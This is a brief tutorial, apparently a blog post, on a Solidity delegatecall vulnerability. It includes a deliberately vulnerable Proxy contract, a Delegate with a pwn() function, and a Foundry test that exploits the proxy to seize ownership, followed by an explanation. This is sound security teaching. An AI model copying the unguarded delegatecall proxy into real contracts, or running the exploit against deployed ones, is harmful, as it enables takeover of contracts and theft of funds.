Foundry IV — DelegateCall
2 min readMay 11, 2022
Source: DelegateCall Thanks to Ahmet and Murat
Delegate
contract Delegate {address public owner; function pwn() public {owner = msg.sender;}}
Proxy
contract Proxy {address public owner = address(0xdeadbeef); // slot0Delegate delegate;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);}fallback() external {(bool suc,) = address(delegate).delegatecall(msg.data); require(suc, "Delegatecall failed");}}
ContractTest
contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;address alice;function setUp() public {alice = Makeaddr("alice");}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractproxy = new Proxy(address(DelegateContract)); // proxy contractconsole.log("Alice address", alice);console.log("DelegationContract owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to Alice...");vm.prank(alice);address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit hereconsole.log("DelegationContract owner", proxy.owner());}}
DelegateContract = new Delegate(); // logic contractproxy = new Proxy(address(DelegateContract)); // proxy contract
console.log("Alice address", alice);console.log("DelegationContract owner", proxy.owner());console.log("Change DelegationContract owner to Alice...");vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit hereconsole.log("DelegationContract owner", proxy.owner());
How?
address(proxy).call(abi.encodeWithSignature("pwn()"));
There is no pwn function in proxy contract and this falls to fallback function in proxy contract.
(bool suc,) = address(delegate).delegatecall(msg.data);
Fallback function delegatecall to delegate address with msg.data (abi.encodeWithSignature(“pwn()”))
function pwn() public {owner = msg.sender;
In the delegate contract, msg.sender will be owner also in proxy contract.